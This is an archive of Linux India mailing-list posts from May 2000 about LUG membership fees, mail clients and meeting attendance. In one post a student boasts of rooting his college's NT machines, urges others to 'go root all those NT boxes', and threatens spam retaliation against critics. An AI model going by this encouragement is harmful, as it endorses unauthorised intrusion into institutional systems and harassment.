linux-india-general-owner@lists.linux-india.org Fri May 26 20:24:56 2000 Received: from MailAndNews.com (MailAndNews.com [199.29.68.160]) by www.aunet.org (Postfix) with ESMTP id DADE738057 for ; Fri, 26 May 2000 20:24:50 -0700 (PDT) Received: from croton [12.10.209.155] (sthitaprajna@mailandnews.com); Fri, 26 May 2000 23:24:48 -0400 X-WM-Posted-At: MailAndNews.com; Fri, 26 May 00 23:24:48 -0400 From: "Sthitaprajna" Organization: Nell To: linux-india-general@lists.linux-india.org Date: Sat, 27 May 2000 00:00:40 +0530 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: help regarding linux installation Reply-To: sthitaprajna@mailandnews.com In-reply-to: <14638.18960.434392.546180@rockford.myip.org> X-mailer: Pegasus Mail for Win32 (v3.12) Message-Id: <20000527032450.DADE738057@www.aunet.org> X-Archive-Number: 200005/131 On 26 May 00, at 15:28, Ravikant K.Rao wrote: > 100 megs?!?!?!?! OOOOpps...typo. Mine is 20 mb and I'm currently using 2 mb of /boot > Just thought that might interest you, especially because I'm > booting 4 OS'es presently -- Win2k/Woody/Slack 4.0/Caldera 2.4 How do you manage to wade through all that?? ======================================== Sthitaprajna @mailandnews.com ======================================== From linux-india-general-owner@lists.linux-india.org Sat May 27 01:20:30 2000 Received: from bgl2.vsnl.net.in (bgl2.vsnl.net.in [202.54.12.46]) by www.aunet.org (Postfix) with ESMTP id 19FB538057 for ; Sat, 27 May 2000 01:20:22 -0700 (PDT) Received: from localhost.localdomain (IDENT:root@PPP-186-124.bng.vsnl.net.in [203.197.186.124]) by bgl2.vsnl.net.in (8.9.3/8.9.3) with ESMTP id NAA25890 for ; Sat, 27 May 2000 13:35:02 +0530 (IST) Received: (from mrinal@localhost) by localhost.localdomain (8.9.3/8.9.3) id NAA12199 for linux-india-general@lists.linux-india.org; Sat, 27 May 2000 13:39:01 +0530 Date: Sat, 27 May 2000 13:39:01 +0530 From: Mrinal Kalakrishnan To: The Linux India General Mailing List Subject: Re: Message-ID: <20000527133901.A11962@india.com> Mail-Followup-To: The Linux India General Mailing List Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: ; from achitnis@exocore.com on Wed, May 24, 2000 at 11:35:52PM +0530 X-Mailer: Mutt 1.3.2i (2000-05-23) X-Operating-System: Linux 2.2.15 X-Editor: VIM - Vi IMproved 5.5 X-URL: http://www.geocities.com/mrinal/ Organization: Jobless after finishing school! X-Archive-Number: 200005/132 Hi, Atul Chitnis typed: > I vote for a default correct reply-to. And I do not agree with the > philosophy of "reply-to is harmful". That is just one person's opinion. > Before such an arbitrary rule is dumped on people, it would have been nice > to ask the subscribers if they agree to it. ...And if "advanced" people have a clueful enough mailer, they can set it to ignore the Reply-To field if the message is from a mailing list, thus giving the feeling that Reply-To is not munged! :-) -- Mrinal Kalakrishnan http://www.geocities.com/mrinal/ Linux 2.2.15 || PGP:B1E86F5B || Mutt 1.3.2i (2000-05-23) || VIM 5.5 -- I still maintain the point that designing a monolithic kernel in 1991 is a fundamental error. Be thankful you are not my student. You would not get a high grade for such a design :-) (Andrew Tanenbaum to Linus Torvalds) From linux-india-general-owner@lists.linux-india.org Sat May 27 19:22:51 2000 Received: from nagpur.dot.net.in (nagpur.vsnl.net.in [202.54.50.1]) by www.aunet.org (Postfix) with ESMTP id 048913804F for ; Sat, 27 May 2000 19:22:44 -0700 (PDT) Received: from satyam.net.in (PPP50-78.dot.vsnl.net.in [202.54.50.78]) by nagpur.dot.net.in (8.9.3/8.9.3) with SMTP id HAA21246 for ; Sun, 28 May 2000 07:55:54 +0530 (IST) Message-ID: <000801bfc84c$481a0e00$f201a8c0@satyam.net.in> From: "Mukund Deshmukh" To: "Linux India General" Subject: Re: Formal Member Registration Date: Tue, 23 May 2000 10:58:47 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-Archive-Number: 200005/133 Banglore is lucky to have 300 users. In other cities like Nagpur we could not make even 10 members inspite of offering free samosa and cool drinks in monthly meeting. What I would suggest here is that we should have all India level member registration under the banner of linux-India. The fee can be Rs 100-500 , the funds should be eventually utilized for the linux promotion and member management like card, meetings at different places etc. Best Regards, M.S.Deshmukh, Director. Beta Computronics Pvt. Ltd. Web Site - http://betacomp.com -----Original Message----- From: Atul Chitnis To: Linux India General Date: Monday, May 22, 2000 4:05 PM Subject: [LIG] Formal Member Registration >All: > >ILUG-Bangalore is growing rapidly. With 300++ members and more joing >daily, and with all the activities here (probably making it the largest >and most active ILUG in India), I have proposed that we should now start >looking at a formal membership process. > >ILUG Bangalore will be involved in several big events in the coming >months, so it is important that we get this done and get this done right >ASAP. > >Since I would like to see uniformity across the country, I thought I'd >kick off a discussion here to see what other people have to say about it. > >What should this formal membership process entail? Some form of membership >fee, a membership card, etc? There have been proposals of differential >membership fees (student/non-student) but since I am *not* talking about a >100K joining fee, I don't think that is feasible or even desirable. > >What says the group? > >Atul > >-------------------------------------------------------- >Atul Chitnis | achitnis@exocore.com (PGP:6011BCB8) >Exocore Consulting | http://www.exocore.com >Bangalore, India | +91(80)3440397 Fax +91(80)3341137 >-------------------------------------------------------- > > >----------------------------------------------------------------------- >For information on this and other Linux India mailing lists check out >http://lists.linux-india.org/ From linux-india-general-owner@lists.linux-india.org Sat May 27 23:59:08 2000 Received: from eth.net (unknown [202.9.145.10]) by www.aunet.org (Postfix) with ESMTP id 09F7938053 for ; Sat, 27 May 2000 23:58:58 -0700 (PDT) Received: from rockford.myip.org ([202.9.147.220]) by eth.net with Microsoft SMTPSVC(5.5.1877.117.11); Sun, 28 May 2000 12:25:38 +0530 Received: from ravi by rockford.myip.org with local (Exim 3.12 #1 (Debian)) id 12vwyH-0000UW-00 for ; Sun, 28 May 2000 12:24:49 +0530 From: "Ravikant K.Rao" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Sun, 28 May 2000 12:24:49 +0530 (IST) To: linux-india-general@lists.linux-india.org Subject: Re: Formal Member Registration In-Reply-To: <000801bfc84c$481a0e00$f201a8c0@satyam.net.in> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14640.49609.335115.995412@rockford.myip.org> X-Archive-Number: 200005/134 >>>>> "Mukund" == Mukund Deshmukh writes: Mukund> What I would suggest here is that we should have all India Mukund> level member registration under the banner of Mukund> linux-India. The fee can be Rs 100-500 , the funds should We've already been thro' this on the Ilug-Chennai internal mailing list .. and unanimously (about 8 or 9 out of 30 active members, of a total of 120 odd members) rejected "commercialisation" and bringing in "fees" and suchlike stuff. For a guy that's stone broke like me, (student) , I'd rather blow 500 bucks on more cds (Linux,Movies,Music, and otherwise) ,movies, booze(!)and women(!!) ... Unless the richer part of LI decides to "sponsor" me, I don't suppose I'd be a part of LI-* anymore. Thanks --ravi -- Ravikant K.Rao : http://www.symonds.net/~ravi/ Primary Email : | PGP: 9544A4A1 GPG: 1024D/C2FC752D From linux-india-general-owner@lists.linux-india.org Sun May 28 00:30:12 2000 Received: from cal.vsnl.net.in (cal.vsnl.net.in [202.54.9.25]) by www.aunet.org (Postfix) with ESMTP id 843C03804F for ; Sun, 28 May 2000 00:30:04 -0700 (PDT) Received: from indradg.cal.vsnl.net.in (ppp116-103.pppcal.vsnl.net.in [203.197.116.103]) by cal.vsnl.net.in (8.9.0/8.9.0) with ESMTP id NAA15938 for ; Sun, 28 May 2000 13:37:17 +0530 (IST) Message-Id: <200005280807.NAA15938@cal.vsnl.net.in> From: "Indranil Das Gupta" To: Subject: Re: Formal Member Registration Date: Sun, 28 May 2000 13:03:16 +0530 X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/135 ravi, The exact same thing happened at ILUG-Calcutta .... but what bothers me that over here it is usually the same set of people who voluntarily come forward and contribute when ever we have some fund-raising to do... and of course everyone else (those that care to participate) gets the benefit of these funds... not that I am saying that benefits to be accrued only by ppl who pays... :) What I had suggested at our LUG was that we have a category for corporate/business membership with a little more heavier subscription levels... I understand that at ILUG-Blr, GT Enterprises sponsers some expenses from time to time... what if instead of sponsership (always welcome :) we have a membership category for them. The point that some of our members found a little disconcerting was that this might lead to development of vested interests within the group and crass commercialisation in place of the free, open-door policy. However, if we are to formulate a constitution and adopt it (I have been working on one such draft framework for our LUG for quite sometime) through general consensus, I am sure that we could build in enough safe-guards against such eventualities. Here in Calcutta certain corporate entities were only too eager to back us, but their overtures were loaded with hidden agendas... so after consultation with the active members they were politely told off. As far as students go, please don't say that you can't spare even something like 100 rupees per year.... but a better solution IMHO would be if the students (particularly from the tech and engg institutions) could convince their schools to back the movement by the way of extendingn access to their premises and if possible some computing facility (as already happening at a few places) to the local LUGs. The students can contribute more IMO by making sure that the movement will be carried on (after they have left) by their persent juniors, to make sure that the future is in safe, competent hands... Therefore we could also have an education/non-profit membership category to be based on mutual assistence basis (the LUG members could help these institutional members in adopting Linux within their computing infrastructure, while the more qualified among the LUG members could help the students by sharing some of their time, knowledge and experience with them.... Just my 2 p. :) --Indra. ---------- From: Ravikant K.Rao To: linux-india-general@lists.linux-india.org Subject: Re: [LIG] Formal Member Registration We've already been thro' this on the Ilug-Chennai internal mailing list .. and unanimously (about 8 or 9 out of 30 active members, of a total of 120 odd members) rejected "commercialisation" and bringing in "fees" and suchlike stuff. From linux-india-general-owner@lists.linux-india.org Sun May 28 00:44:47 2000 Received: from e4.ny.us.ibm.com (e4.ny.us.ibm.com [32.97.182.104]) by www.aunet.org (Postfix) with ESMTP id 6F4DC3804F for ; Sun, 28 May 2000 00:44:42 -0700 (PDT) Received: from northrelay03.pok.ibm.com (northrelay03.pok.ibm.com [9.117.200.23]) by e4.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id DAA247814 for ; Sun, 28 May 2000 03:42:51 -0400 Received: from DemiUrge.in.ibm.com (demiurge.in.ibm.com [9.184.199.132]) by northrelay03.pok.ibm.com (8.8.8m3/NCO v4.9) with ESMTP id DAA71592 for ; Sun, 28 May 2000 03:44:30 -0400 Received: by DemiUrge.in.ibm.com (Postfix, from userid 1001) id A414A5882D; Sun, 28 May 2000 13:14:45 +0530 (IST) Subject: Re: Formal Member Registration From: Syed Khader Vali URL: http://www.sidcarter.com/ Operating-System: Turing OS XCVII Disclaimer: Not speaking for anyone in any way, shape, or form. Copyright: Copyright 2000 Syed Khader Vali - All Rights Reserved To: linux-india-general@lists.linux-india.org Organization: IBM Global Services - India Reply-To: sidgeek@austin.ibm.com Date: 28 May 2000 13:14:44 +0530 In-Reply-To: "Ravikant K.Rao"'s message of "Sun, 28 May 2000 12:24:49 +0530 (IST)" Message-ID: <86u2fjf79v.fsf@DemiUrge.in.ibm.com> Lines: 41 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200005/136 >>>>> On Sun, 28 May 2000 12:24:49 +0530 (IST), "Ravikant K.Rao" said: Mukund> level member registration under the banner of Mukund> linux-India. The fee can be Rs 100-500 , the funds should Ravikant> out of 30 active members, of a total of 120 odd members) Ravikant> rejected "commercialisation" and bringing in "fees" and Ravikant> suchlike stuff. For a guy that's stone broke like me, Well, It is just a suggestion anyway. It is gonna be somwhere between 100-500 and god knows whether it is gonna be monthly or annually. If it is annual, it is fine. ANyway I am not gonna talk about what amount of money goes as fees. The main thing I am against is the formality that is going to come into this. I would be more glad to give out money as to funds or something like that but not like a fees. I spend money on lot of crap, so why not on something which can benefit linux in india. But the point I am against is formality. That is the formal member registration and stuff. Much of what has come into LI is voluntary effort and let it be like that ( Am I wrong in assuming that much of it is voluntary effort ? then please correct me ! ) And everyone knows how formality can bring in politics, bureaucracy et al. There is gonna be prejudice and all that stuff. And most of it all, what are the difficulties in the present setup. " if it ain't broke, don't fix it ". Or are we facing some serious problems in the present setup ? Ravikant> (student) , I'd rather blow 500 bucks on more cds Ravikant> (Linux,Movies,Music, and otherwise) ,movies, booze(!)and Ravikant> women(!!) Well, let's not talk how you might want to spend your money in a "better" manner by spending on "booze, women" rather than for the "benefit of Linux in India" when you have the bucks. :-) Thanks Regards - Khader -- Syed Khader Vali (Siddiq) - Linux Guy, LCC IBM Global Services , India Work -- sidgeek@austin.ibm.com, skhader@in.ibm.com Play -- sid@sidcarter.com Debian GNU/Linux ( Woody ) http://www.sidcarter.com From linux-india-general-owner@lists.linux-india.org Sun May 28 01:04:46 2000 Received: from eth.net (unknown [202.9.145.10]) by www.aunet.org (Postfix) with ESMTP id 503F93804F for ; Sun, 28 May 2000 01:04:35 -0700 (PDT) Received: from rockford.myip.org ([202.9.147.220]) by eth.net with Microsoft SMTPSVC(5.5.1877.117.11); Sun, 28 May 2000 13:31:27 +0530 Received: from ravi by rockford.myip.org with local (Exim 3.12 #1 (Debian)) id 12vxzy-0000Zg-00 for ; Sun, 28 May 2000 13:30:38 +0530 From: "Ravikant K.Rao" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Sun, 28 May 2000 13:30:38 +0530 (IST) To: linux-india-general@lists.linux-india.org Subject: Re: Formal Member Registration In-Reply-To: <200005280807.NAA15938@cal.vsnl.net.in> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14640.52134.243627.790163@rockford.myip.org> X-Archive-Number: 200005/137 Hi, Long mail, touching on touchy topics -- enjoy ;) >>>>> "Indranil" == Indranil Das Gupta writes: Indranil> .... but what bothers me that over here it is usually Indranil> the same set of people who voluntarily come forward and Indranil> contribute when ever we have some fund-raising to Yes, we _do_ have Lateral Software Inc., OS4 Inc., pitching in with timely help, booking stall(s) and stuff.. taking care of the $$ part of any event(s) that we conduct -- the LDD -- Linux Demo Day -- that we conducted went very well, and we got many new members to the mailing list and suchlike ... Indranil> What I had suggested at our LUG was that we have a Indranil> category for corporate/business membership with a little Indranil> more heavier subscription levels... I understand that at We, at ILUG-Chennai have say on an average 20 guys turning up for meetings, of which maybe 15 are students -- the remaining are Lateral/OS4 guys .. so this model wont work out with *ILUG-Chennai* -- I don't know how the other LUGs function, and perhaps Thaths, could elaborate on this, considering that he did visit many LUGs .. We have IIT-M (Dr.Sriram) doing the hosting of our meetings, and those teas too(!) ;) But the rest of us all are generally busy with other stuff to do, and unlike what *seems* ( I do not know for sure, but I'm guessing ) to be happening in ILUG-Bangalore, where people who "work with Linux" actually hang out.. people who earn a living and stuff... Please note that I am *NOT* outright saying, "your ideas suck, and you suck" -- not at all -- too many people tend to take suggestions/thoughts/comments/observations personally and begin flaming. (therefore this disclaimer) ... If someone on this list doesn't like this, either write back politely, and logically reason out ... or delete this, tweak procmail to ignore my mails... don't flame me on my private email with obscenities.. and if you do, be warned that the LI-coredump-spam-technique(tm) will be resorted to, from my end. Anyway, what I *am* saying is that this "corporate membership,student membership,blah membership" model won't happen in ILUG-Chennai ... because we have only students and 2 corporate guys doing anything... Guys here *anyway* know what's going on, and who's funding if necessary and stuff.. Indranil> policy. However, if we are to formulate a constitution Indranil> and adopt it (I have been working on one such draft Indranil> framework for our LUG for quite sometime) through Indranil> general consensus, I am sure that we could build in Indranil> enough safe-guards against such eventualities. Do keep us updated on this, and you could mail it to me, or LIG itself, or Prabhu Ramachandran and K.Arun -- the list admins of ilug-c .. and on persual, if we like it, we'll steal your ideas (!) ;) Indranil> As far as students go, please don't say that you can't Indranil> spare even something like 100 rupees per year.... but a Actually, we can -- But for *what* ? I still don't understand *that* ... for commercial stuff, we have corporate entities pooling the $$$ ... and they're happy, we're happy .. so why get students doing funny things? I think the attitude of people is *very* region-specific ... we have so many madrasi guys not on the list, but will come onto the list, if ilug-c promises to fetch them jobs/certification/$$ and stuff ... its weird, really .. Indranil> better solution IMHO would be if the students Indranil> (particularly from the tech and engg institutions) could Indranil> convince their schools to back the movement by the way Indranil> of extendingn access to their premises and if possible Indranil> some computing facility (as already happening at a few Indranil> places) to the local LUGs. The students can contribute Even I think this is an excellent idea ... but it isn't going to happen, not in the near future, atleast... (in chennai) ... The next time you come to madras, please *do* call on me, and I'll show you my school/college ... My school guys refuse to run anything other than Novell Netware/NT ... the "Sys Admin" hasn't heard of Linux .. and in my college... haha..the less said the better... the sys admin codes in FORTRAN 77 and thinks C sucks .. we run NT 3.0 or some *really* weird/obnoxious stuff... probably 3 of us rooted the boxes also ...we have say 250 machines and 2 servers doing the file-sharing .. and if more than 20 machines are "turned" on simaltaneously, the network instantly dies... I tried suggesting just *one* linux box, which would do stuff.. on a trial basis .. but the admin threw me out ( well, we screwed around with his boxen after that, but thats a different story altogether ) ... By and Large, by what I see here... and what I gather, by talking to fellow students is that sys admin's generally don't give a damn what's happening -- They think they're the coolest dudes ever created, and are more than happy to be left alone, in the blissful ignorance than NT 3.0 is the end of all networking. The most "reputed" colleges here, including the famed Anna University ,.. lets people "browse" the internet ... and probably some guys on the ILUG-C from Anna can elaborate .. but rest assured that there exists no Sys Admin <-> Student interaction, and isn't likely to happen until these monoliths get overthrown -- well, technically, they are, we have root on the machines ... but still, we have computer labs that we can't afford to fail... hehe ... :) Indranil> more IMO by making sure that the movement will be Indranil> carried on (after they have left) by their persent Indranil> juniors, to make sure that the future is in safe, Indranil> competent hands... Again, this seems to be a really ambitious plan .. kids these days prefer doing "UNIX/C/C++/Java/Blah" courses in $computer-institution , spend 3 years there, blow half a lakh rupees, come out with a certificate that says that this guy is a genius neverbefore seen, and get placed with $It-company ... no one seriously gives a damn about "knowledge" or "Linux"( which doesn't *seem* to have too much $$ in it *AND* involves exercising the mind excessively [apparently] ) ... face it.. Final Year students in the Computer Science department haven't heard of Linux ... the staff haven't heard of it, and don't care, either ... and some irrelevant guys (like me, in the Civil Engineering department ) try prophesising that Linux is cool, ... I guess you can imagine what would follow? :) With one of my buddies putting in the $$, I embarked on a semi-ambitious plan to give my school a webpage and be "on the web" and stuff.. and we went ahead and registered the domain ... and started filling in content, and approached the Principal of our school to tell them that they had a website and we were like having plans on giving out admin email addresses, and online "applications" and "information" and blah blah ... and our school summarily threw us out ... only resulted in a really weird situation where I'd gotten my buddy to register a domain, which was now a waste ... so *I* personally am *very* wary of educational institutions ... Just go root all those NT boxes that those sys admins think are inpenetrable .. show them that they suck , make sure you don't fail your labs ... and get the heck out of school/college and ... it isn't worth trying to "educate" stupid people who run stupid educational institutions and lousier still, computer labs in them. Cheers --ravi -- Ravikant K.Rao : http://www.symonds.net/~ravi/ Primary Email : | PGP: 9544A4A1 GPG: 1024D/C2FC752D From linux-india-general-owner@lists.linux-india.org Sun May 28 01:10:21 2000 Received: from eth.net (unknown [202.9.145.10]) by www.aunet.org (Postfix) with ESMTP id 8F5913804F for ; Sun, 28 May 2000 01:10:01 -0700 (PDT) Received: from rockford.myip.org ([202.9.147.220]) by eth.net with Microsoft SMTPSVC(5.5.1877.117.11); Sun, 28 May 2000 13:36:54 +0530 Received: from ravi by rockford.myip.org with local (Exim 3.12 #1 (Debian)) id 12vy5G-0000Zn-00 for ; Sun, 28 May 2000 13:36:06 +0530 From: "Ravikant K.Rao" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Sun, 28 May 2000 13:36:06 +0530 (IST) To: linux-india-general@lists.linux-india.org Subject: Re: Formal Member Registration In-Reply-To: <86u2fjf79v.fsf@DemiUrge.in.ibm.com> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14640.53915.649628.106711@rockford.myip.org> X-Archive-Number: 200005/138 >>>>> "Syed" == Syed Khader Vali writes: Syed> fees. The main thing I am against is the formality that is Syed> going to come into this. I would be more glad to give out Precisely. I forgot/failed to point that out in my email, but that was *basically* what we at ilug-chennai came up with -- we (Ilug-Chennai) don't want the commercialisation/formalisation of the setup. --ravi -- Ravikant K.Rao : http://www.symonds.net/~ravi/ Primary Email : | PGP: 9544A4A1 GPG: 1024D/C2FC752D From linux-india-general-owner@lists.linux-india.org Sun May 28 05:35:47 2000 Received: from mypc.ys.com (unknown [202.54.17.155]) by www.aunet.org (Postfix) with ESMTP id A402B38075 for ; Sun, 28 May 2000 05:35:38 -0700 (PDT) Received: from mypc (IDENT:ys@localhost.localdomain [127.0.0.1]) by localhost.localdomain (8.9.3/8.9.3) with SMTP id WAA01352 for ; Thu, 25 May 2000 22:51:32 +0530 From: Yunus Shaikh To: Linux India General Date: Thu, 25 May 2000 22:50:20 +0530 X-Mailer: KMail [version 1.0.29] Content-Type: text/plain MIME-Version: 1.0 Message-Id: <00052522513201.01333@mypc> Content-Transfer-Encoding: 8bit X-Archive-Number: 200005/139 Is there a Better Email Client than Kmail available for linux my Kmail crashes every time i switch to terminal window or other application -- Yunus Shaikh Email : yshaikh@bom4.vsnl.net.in ICQ : 16819448 From linux-india-general-owner@lists.linux-india.org Sun May 28 05:41:42 2000 Received: from MailAndNews.com (MailAndNews.com [199.29.68.160]) by www.aunet.org (Postfix) with ESMTP id 36340380D9; Sun, 28 May 2000 05:41:39 -0700 (PDT) Received: from croton [12.10.209.139] (sthitaprajna@mailandnews.com); Sun, 28 May 2000 08:41:36 -0400 X-WM-Posted-At: MailAndNews.com; Sun, 28 May 00 08:41:36 -0400 From: "Sthitaprajna" Organization: Nell To: linux-india-general@lists.linux-india.org Date: Sun, 28 May 2000 18:11:27 +0530 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Moving to LIH Reply-To: sthitaprajna@mailandnews.com Cc: linux-india-help@lists.linux-india.org In-reply-to: <00052522513201.01333@mypc> X-mailer: Pegasus Mail for Win32 (v3.12) Message-Id: <20000528124139.36340380D9@www.aunet.org> X-Archive-Number: 200005/140 On 25 May 00, at 22:50, Yunus Shaikh wrote: > Is there a Better Email Client than Kmail available for linux > my Kmail crashes every time i switch to terminal window or other application Posts of this nature should be directed to the Linux India Help list As to a better Email client for Linux, there's mutt. -Regards ======================================== Sthitaprajna @mailandnews.com ======================================== From linux-india-general-owner@lists.linux-india.org Sun May 28 06:40:35 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 436A03802E for ; Sun, 28 May 2000 06:40:25 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id TAAAA26619; Sun, 28 May 2000 19:10:09 +0530 (IST) Date: Sun, 28 May 2000 19:10:09 +0530 From: Suresh Ramasubramanian To: Yunus Shaikh Cc: Linux India General Subject: Re: Message-ID: <20000528191009.A26575@staff.juno.com> Reply-To: Suresh Ramasubramanian Mail-Followup-To: Yunus Shaikh , Linux India General Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <00052522513201.01333@mypc>; from yshaikh@bom4.vsnl.net.in on Thu, May 25, 2000 at 10:50:20PM +0530 Organization: Juno Abuse Desk X-Archive-Number: 200005/141 Yunus Shaikh saw fit to inform LI that: >Is there a Better Email Client than Kmail available for linux >my Kmail crashes every time i switch to terminal window or other application Console - pine, mutt, elm X11 - Netscape, Balsa, Tkrat, Ishmail ... take your pick of what's on freshmeat. -- Suresh Ramasubramanian | sureshr at staff.juno.com Philosophy will clip an angel's wings. -- John Keats From linux-india-general-owner@lists.linux-india.org Sun May 28 09:15:39 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 1EE443802E for ; Sun, 28 May 2000 09:15:34 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id JAA04047 for linux-india-general@lists.linux-india.org; Sun, 28 May 2000 09:15:19 -0700 Date: Sun, 28 May 2000 09:15:19 -0700 From: Arun Sharma To: Linux India General Subject: Re: Message-ID: <20000528091519.A4040@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <20000528191009.A26575@staff.juno.com>; from Suresh Ramasubramanian on Sun, May 28, 2000 at 07:10:09PM +0530 X-Archive-Number: 200005/142 On Sun, May 28, 2000 at 07:10:09PM +0530, Suresh Ramasubramanian wrote: > X11 - Netscape, Balsa, Tkrat, Ishmail ... take your pick of what's on > freshmeat. And one of the best kept secrets of X11 email - XFMail. I don't like the source code though. -Arun From linux-india-general-owner@lists.linux-india.org Sun May 28 09:42:29 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 9F6FB3802E for ; Sun, 28 May 2000 09:42:27 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id JAA04152 for linux-india-general@lists.linux-india.org; Sun, 28 May 2000 09:42:13 -0700 Date: Sun, 28 May 2000 09:42:13 -0700 From: Arun Sharma To: linux-india-general@lists.linux-india.org Subject: Re: Formal Member Registration Message-ID: <20000528094213.B4040@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <200005280807.NAA15938@cal.vsnl.net.in>; from Indranil Das Gupta on Sun, May 28, 2000 at 01:03:16PM +0530 X-Archive-Number: 200005/143 On Sun, May 28, 2000 at 01:03:16PM +0530, Indranil Das Gupta wrote: > The students can contribute more IMO by making sure that the movement > will be carried on (after they have left) by their persent juniors, > to make sure that the future is in safe, competent hands... Smells like a pyramid marketing scheme. As I've been saying often these days, "There is no `movement' guys" :-) Use the OS because it's technically good, it's well written, it's convenient and most importantly, you can afford it. -Arun From linux-india-general-owner@lists.linux-india.org Sun May 28 09:59:02 2000 Received: from cal.vsnl.net.in (cal.vsnl.net.in [202.54.9.25]) by www.aunet.org (Postfix) with ESMTP id 82CE73802E for ; Sun, 28 May 2000 09:58:57 -0700 (PDT) Received: from indradg.cal.vsnl.net.in (ppp116-116.pppcal.vsnl.net.in [203.197.116.116]) by cal.vsnl.net.in (8.9.0/8.9.0) with ESMTP id XAA07563 for ; Sun, 28 May 2000 23:06:12 +0530 (IST) Message-Id: <200005281736.XAA07563@cal.vsnl.net.in> From: "Indranil Das Gupta" To: Subject: Re: Formal Member Registration Date: Sun, 28 May 2000 22:32:11 +0530 X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/144 Fine.... if OpenSource movement is no more, and that we are to use the OS and the s/w, then __who__ is going to continue to develop newer and better free s/w.... linux included...??? ;-) If I am not entirely mistaken, a lot of OSS happens to be the efforts of ppl who happen to be students or were students at one time... Linus included... --Indra. ---------- From: Arun Sharma To: linux-india-general@lists.linux-india.org Subject: Re: [LIG] Formal Member Registration Date: Sunday, May 28, 2000 10:12 PM On Sun, May 28, 2000 at 01:03:16PM +0530, Indranil Das Gupta wrote: > The students can contribute more IMO by making sure that the movement > will be carried on (after they have left) by their persent juniors, > to make sure that the future is in safe, competent hands... Smells like a pyramid marketing scheme. As I've been saying often these days, "There is no `movement' guys" :-) Use the OS because it's technically good, it's well written, it's convenient and most importantly, you can afford it. From linux-india-general-owner@lists.linux-india.org Sun May 28 12:43:18 2000 Received: from cix.exocore.com (unknown [202.141.1.225]) by www.aunet.org (Postfix) with ESMTP id 18AB53806B; Sun, 28 May 2000 12:42:57 -0700 (PDT) Received: from localhost (achitnis@localhost) by cix.exocore.com (8.9.3/8.8.7) with ESMTP id BAA02766; Mon, 29 May 2000 01:11:23 +0530 Date: Mon, 29 May 2000 01:11:23 +0530 (IST) From: Atul Chitnis To: linux-india-help@lists.linux-india.org Cc: Linux India General Subject: ILUG Bangalore beats record Message-ID: Organisation: Exocore Consulting (P) Limited MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/145 Just a quick Bangalorean gloat: At the regular meet on Saturday, with no major agenda apart from regular scheduled demos and talks, ILUG-Bangalore broke its own attendence record with 92 (yep, ninety-two!) people in the hall! Dunno if this is an LI-wide record, but in that small 50 seater hall, crammed with so many more people, it sure felt like it! The only "negative" effect of this was that Ram (of Oye India/BPL, who sponsored our last two meets) looked a bit faint when I announced the number... ;-) Atul -------------------------------------------------------- Atul Chitnis | achitnis@exocore.com (PGP:6011BCB8) Exocore Consulting | http://www.exocore.com Bangalore, India | +91(80)3440397 Fax +91(80)3341137 -------------------------------------------------------- From linux-india-general-owner@lists.linux-india.org Sun May 28 13:27:32 2000 Received: from cix.exocore.com (unknown [202.141.1.225]) by www.aunet.org (Postfix) with ESMTP id 319873806B for ; Sun, 28 May 2000 13:27:15 -0700 (PDT) Received: from localhost (achitnis@localhost) by cix.exocore.com (8.9.3/8.8.7) with ESMTP id BAA02866 for ; Mon, 29 May 2000 01:57:04 +0530 Date: Mon, 29 May 2000 01:57:04 +0530 (IST) From: Atul Chitnis To: Linux India General Subject: Re: Formal Member Registration In-Reply-To: <20000528094213.B4040@sharmas.dhs.org> Message-ID: Organisation: Exocore Consulting (P) Limited MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/146 Khader: it would have helped had you attended the last meet - a lot more things would have become clearer. Your fear of "formality" is pretty ridiculous. Ravikant: Try attending one of our meets once, and you'll understand why it is necessary for us to "regularise" membership. Sitting in judgement of a proposal when you cannot understand the environment is a bit much. All: Back off with your arguments - in the light of what we actually have in mind, you are unnecessarily getting yourself into a dizzy-spell with these outrages. ILUG-Bangalore is huge, and unlike some places (where an average 